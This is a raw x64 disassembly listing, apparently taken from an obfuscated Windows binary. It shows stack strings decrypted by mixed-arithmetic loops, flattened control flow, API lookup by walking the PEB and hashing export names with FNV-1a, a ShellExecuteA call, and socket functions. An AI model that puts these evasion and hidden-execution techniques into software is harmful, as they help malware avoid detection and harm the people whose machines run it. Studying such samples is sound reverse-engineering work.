movabs rcx, 0x3be19b0e1565bb6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 2
jmp 0x14010f1a1
movabs rcx, 0x6a409ed82054bbe6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4a
jmp 0x14010f119
movabs rdx, 0x989fa2a22b43bc5e
mov ecx, gethostname
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010f1b0
movabs rcx, 0xde2e28513baa3d12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7e
jmp 0x14010f0ca
movabs rcx, 0xf55daa364121bd4e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
jmp 0x14010f0a2
movabs rcx, 0x23bcae004c10bdc6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
movabs rdx, 0x55f15e6d6675b3ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x1e0], cl
add r10, r15
jmp 0x14010f0f0
movabs rdx, 0x521bb1ca56ffbe3e
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
sub r9, r15
jmp 0x14010f1b0
mov r8, r11
movabs rdx, 0xaed9b95e6cddbf2e
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x42
add bl, dl
movabs rdx, 0x27925aa35b86b376
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x3a
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x1e0], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x1bfa99b0d8caf358
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, cl
mov byte [rbp + r9 + 0x1e0], r8b
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010f1a1
movabs rdx, 0xdd38bd2877ccbfa6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, byte [rbp + r9 + 0x1e0]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14010e7ec
movabs rdx, 0xfa28c2021475306a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e7e9
movabs rdx, 0x115843e719ecb0a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010e7d9
lea rsi, [rbp + 0x15aedb8]
jmp 0x14010f21d
lea rsi, [rbp + 0xdf2d9a]
jmp 0x14010f21d
lea rsi, [rbp + 0x1e0]
mov byte [rbp + 0x200], 0xbf
mov byte [rbp + 0x201], 0xbd
mov byte [rbp + 0x202], Ordinal_200
mov byte [rbp + 0x203], 0xb9
mov byte [rbp + 0x204], Ordinal_46
xor eax, eax
mov qword [rbp + 0x205], rax
mov dword [rbp + 0x20d], eax
mov word [rbp + 0x211], ax
mov byte [rbp + 0x213], al
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x14
jae 0x14010fbb8
movzx r8d, byte [rbp + r9 + 0x200]
mov r11, r8
cmp rbx, r9
ja 0x14010fbaf
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010f2c0
movabs r14, 0x86ae06fa5e07247a
lea rcx, [r9 + r14]
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
sub dil, 0x56
jmp 0x14010f2f7
je 0x14010fb26
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010fa9b
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010fa63
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14010fa0f
movabs r14, 0x86ae06fa5e07247a
cmp r10, r9
ja 0x14010fba6
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010f32c
movabs rdx, 0xc469289b695fe02
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xe
jmp 0x14010f466
je 0x14010f9fb
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010f9da
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010f9b6
lea rax, [r10 + 7]
cmp rbx, rax
je 0x14010f992
lea rax, [rbx + r10]
cmp rax, r9
jbe 0x14010f604
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14010f5dd
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x14010f5b6
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x14010f592
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x14010f571
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14010f55d
lea rbx, [r10 + 9]
lea r10, [rbx + 1]
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14010fb82
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14010fb5b
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x14010f494
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x14010f46e
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14010f447
lea rbx, [r10 + 0x10]
lea r10, [rbx + 3]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x14010f539
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14010f512
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x14010f4ef
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x14010f4cb
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14010f4b7
lea rbx, [r10 + 0x28]
lea r10, [rbx + 5]
jmp 0x14010f366
movabs rdx, 0x207dc9f10de0ce3e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010f359
movabs rdx, 0x1321bbfc51d2854a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 6
add dil, dl
jmp 0x14010f2f7
movabs rcx, 0x5c5ae0795c43c56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5a
jmp 0x14010f287
movabs rdx, 0x2cc45c7ac476cc40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010f746
movabs rcx, 0x1f684e860868834c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x14
jmp 0x14010fa88
movabs rdx, 0x120c40914c5a3a58
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x68
jmp 0x14010fabc
movabs rdx, 0x4b0329c904bf164
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010faf3
movabs rcx, 0xf75424a7d43da870
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x14010fb44
movabs rdx, 0x14373767574ad03c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
jmp 0x14010fa72
movabs rdx, 0x6db29729b3c8748
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14010f937
movabs rcx, 0xf97f1b7ddf2e3e54
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4c
jmp 0x14010fa5b
movabs rdx, 0xec230d89231ff560
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010fa58
movabs rdx, 0xdec6ff946711ac6c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010fa30
lea rax, [r10 + 0x10]
cmp rbx, rax
jae 0x14010f6d2
lea rcx, [r9 + r14]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x56
lea rax, [rbx + r10]
cmp rax, 0x200
je 0x14010f969
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x14010f7bb
movabs rdx, 0x1777a9a867b3b112
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7e
add dil, dl
cmp rbx, 0x400
jae 0x14010f913
lea rax, [r10 + 0x28]
cmp rbx, rax
jbe 0x14010f84b
movabs rdx, 0x23be3c321e49af14
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 0x61
jb 0x14010f906
movabs rdx, 0xa956c7c176d8889c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14010fa30
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010f6fe
movabs rcx, 0x188d25136d2bfc04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1c
jmp 0x14010fb44
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010f72e
movabs rdx, 0x25e93308293a44f8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010faf3
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010f75e
movabs rdx, 0x4dfd5ce65d651fd4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010fa85
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010f78a
movabs rdx, 0x5b596adb197368c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x14010f93a
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010f626
movabs rcx, 0x68b578cfd581b1bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x24
jmp 0x14010fa5b
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010f7e7
movabs rdx, 0x24d3b79d23c1fa06
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x2a
jmp 0x14010fa2d
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010f817
movabs rdx, 0x3f8bd3869bde8bee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010fa5b
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14010f664
movabs rdx, 0x679ffd64d00966ca
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010fa88
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010f878
movabs rcx, 0x311a4a26da57f808
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x38
jmp 0x14010fb44
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010f8a5
movabs rdx, 0x4bd26610527489f0
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14010fabc
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14010f8d5
movabs rdx, 0x8e9eabd7febbf6b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010fa58
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010f6a0
movabs rdx, 0x9bfab9ccbaca3fa8
mov ecx, 0x34
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14010fa2d
mov byte [rbp + r9 + 0x200], dil
jmp 0x14010fb53
movabs rdx, 0xb6b2d5b632e6d190
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r9 + 0x200]
add dil, r8b
add dil, dl
movabs rcx, 0x3d60dcb090edf60a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x46
add cl, dil
add cl, r8b
mov byte [rbp + r9 + 0x200], cl
jmp 0x14010fa85
movabs rdx, 0xc40ee3aaeef51a84
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x200]
jmp 0x14010f89d
movabs rcx, 0x8483102453168e96
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x1a
jmp 0x14010fb44
movabs rcx, 0x4f12d85162dd6ac6
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6a
jmp 0x14010fa85
movabs rcx, 0x345abc67eac0d8de
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x12
jmp 0x14010fa5b
movabs rdx, 0x19a2a07e72a446f6
mov ecx, reloc.WLDAP32.dll_Ordinal_35
jmp 0x14010f8f1
movabs rdx, 0xfeea8494fa87b50e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x62
add dil, dl
movabs rdx, 0x3004cebbd4dfad16
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x200], cl
add r10, r15
sub r9, r15
jmp 0x14010fb53
movabs rdx, 0xc97a4cc20a4e913e
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010fb53
mov r8, r11
movabs rdx, 0xaec230d89231ff56
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov dil, r11b
sub dil, al
sub dil, 0x5a
add dil, dl
movabs rdx, 0x4abceaa54cfc3efe
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 7
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x200], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0xd16af19fab036378
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x48
add cl, r8b
mov byte [rbp + r9 + 0x200], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14010fb44
movabs rcx, 0x940a14ef1a156d6e
add rcx, r9
mov al, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 2
movzx eax, byte [rbp + r9 + 0x200]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14010f274
movabs rdx, 0xf869a012d9b5f362
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010f271
movabs rcx, 0xeb0d921e1da7aa6e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 2
jmp 0x14010f261
lea rdx, [rbp + 0x14c83f8]
jmp 0x14010fbbf
lea rdx, [rbp + 0x93a872]
jmp 0x14010fbbf
lea rdx, [rbp + 0x200]
mov dword [rsp + 0x28], r15d
and qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rsi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rdx, qword [0x1404fc118]
test rdx, rdx
jne 0x14010fd39
xor esi, esi
mov r14d, r13d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test esi, esi
je 0x14010fc50
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010fc43
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010fc34
cmp edx, esi
jne 0x14010fd1d
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010fd1d
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010fd1d
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010fca4
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010fc99
cmp edx, r14d
je 0x14010fcba
test r11d, r11d
jne 0x14010fc84
jmp 0x14010fd1d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010fd32
lea rcx, [r10 + rax]
cmp rdx, rcx
jae 0x14010fd32
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x14010fcfc
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
inc rdx
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010fcee
jmp 0x14010fd11
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
inc rdx
mov al, byte [rdx]
test al, al
jne 0x14010fd04
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x14010fd30
cmp qword [rbx + 0x30], 0
jne 0x14010fc04
xor edx, edx
mov qword [0x1404fc118], rdx
mov ebx, 0x99
mov ecx, ebx
call rdx
mov qword [0], rbx
lea rcx, [rbp + 0x1060]
call fcn.14008b590
nop
mov rcx, r12
call fcn.14007b1f0
mov byte [rbp + 0x6b0], Ordinal_46
mov byte [rbp + 0x6b1], reloc.WLDAP32.dll_Ordinal_35
mov byte [rbp + 0x6b2], 0
mov byte [rbp + 0x6b3], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x6b4], 0xf5
mov byte [rbp + 0x6b5], 0xf3
mov byte [rbp + 0x6b6], recv
mov byte [rbp + 0x6b7], 0xfe
mov byte [rbp + 0x6b8], 0xf7
mov byte [rbp + 0x6b9], 0xf0
mov r15d, 8
mov byte [rbp + 0x6ba], r15b
mov byte [rbp + 0x6bb], 0
mov byte [rbp + 0x6bc], 0xf8
mov byte [rbp + 0x6bd], Ordinal_60
mov byte [rbp + 0x6be], reloc.WS2_32.dll_send
mov byte [rbp + 0x6bf], 0xea
mov byte [rbp + 0x6c0], 0xf2
mov byte [rbp + 0x6c1], recv
mov byte [rbp + 0x6c2], 3
lea r14d, [r15 - 7]
mov byte [rbp + 0x6c3], r14b
mov byte [rbp + 0x6c4], 0xfa
mov byte [rbp + 0x6c5], r14b
mov byte [rbp + 0x6c6], 0xca
mov byte [rbp + 0x6c7], Ordinal_200
mov byte [rbp + 0x6c8], 0xcc
mov byte [rbp + 0x6c9], 0xf6
mov byte [rbp + 0x6ca], 4
mov byte [rbp + 0x6cb], 0xf0
mov byte [rbp + 0x6cc], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x6cd], 0xa
mov byte [rbp + 0x6ce], 3
mov byte [rbp + 0x6cf], reloc.WS2_32.dll_recv
mov byte [rbp + 0x6d0], 0x86
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x6d1], xmm0
mov qword [rbp + 0x6e1], rax
mov byte [rbp + 0x6e9], al
movabs rsi, 0x870743d7c8a5f3f1
mov dil, byte [rsp + 0x50]
call fcn.1401ac500
mov rbx, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x3a
jae 0x14011090a
movzx r8d, byte [rbp + r9 + 0x6b0]
mov rdx, r8
cmp rbx, r9
ja 0x140110901
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010fecd
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x69
jmp 0x14010ff07
je 0x14011087d
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401107f3
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401107c4
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14011079d
lea rax, [r10 + 8]
cmp rbx, rax
je 0x140110751
cmp r10, r9
ja 0x1401108f8
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010ff3c
movabs rdx, 0x139890b3759d02c5
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x63
jmp 0x1401100ce
je 0x140110731
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14011070d
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401106bd
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14011069d
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14011067a
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401102f0
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x1401102cc
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401102a8
lea rax, [r10 + 6]
cmp rbx, rax
je 0x140110284
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x140110261
lea rax, [r10 + 0x80]
cmp rbx, rax
je 0x14011023a
lea rbx, [r10 + 0x41]
lea r10, [rbx + 5]
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x1401108d4
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x1401108b0
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x1401100fc
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1401100d6
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401100b0
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x14011020e
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x14010ff83
lea rbx, [r10 + 5]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401101fa
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1401101d6
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x1401101b3
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14011018f
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x14011016b
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140110144
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x140110121
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14010ff83
lea rbx, [r10 + 0x28]
lea r10, [rbx + 0x400]
jmp 0x14010ff83
movabs rdx, 0x50f1d629f21b73db
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 3
add dil, dl
jmp 0x14010ff76
movabs rdx, 0x42e34e7a60cf8bf9
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x31
add dil, dl
jmp 0x14010ff07
movabs rdx, 0x34d4c6cacf83a417
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dl, 0x5f
add dil, dl
jmp 0x14010fe9e
movabs rdx, 0x9cc4859bace81628
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
jmp 0x14011076f
movabs rdx, 0x8eb5fdec1b9c2e46
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140110798
movabs rcx, 0x648a66dd67b876a0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x140110705
movabs rcx, 0x567bdf2dd66c8ebe
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x32
jmp 0x1401107e0
movabs rdx, 0x486d577e4520a6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
jmp 0x140110672
movabs rdx, 0x3a5ecfceb3d4befa
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14011054f
movabs rdx, 0x2c50481f2288d718
mov ecx, Ordinal_46
jmp 0x1401103d6
movabs rcx, 0x892bf4e8374b1363
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x4b
mov byte [rbp + r9 + 0x6b0], dil
jmp 0x1401108a8
movabs rdx, 0x3d5945767c7e7116
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140110705
movabs rdx, 0x2f4abdc6eb328934
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6c
jmp 0x1401106db
movabs rcx, 0x213c361759e6a152
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x3e
jmp 0x1401107bc
movabs rcx, 0x132dae67c89ab970
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x10
jmp 0x140110798
movabs rdx, 0x51f26b8374ed18e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14011076f
lea rax, [r10 + 0x10]
cmp rbx, rax
jae 0x1401103be
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x69
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x28
je 0x14011064b
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x1401104a3
movabs rdx, 0x2cbb2a6acf8b206d
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 5
add dil, dl
cmp rbx, 0x400
jae 0x140110620
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x140110588
movabs rdx, 0x4053bb1e45282332
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5e
add dil, dl
cmp r10, r14
jb 0x14011022d
movabs rcx, 0xcce507f9f21f3206
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 0x54]
jmp 0x140110772
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401103ee
movabs rdx, 0x27312166eb3a058a
mov ecx, Ordinal_32
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140110899
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14011041a
movabs rcx, 0x434e30c60dd1d54e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x22
jmp 0x140110814
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x140110447
movabs rcx, 0x5f6b40253069a512
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x7e
jmp 0x140110705
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140110473
movabs rcx, 0x8996d733e44d5cb8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, r15b
jmp 0x140110798
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x140110315
movabs rdx, 0x97a55ee37599449a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x36
jmp 0x14011076f
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401104cf
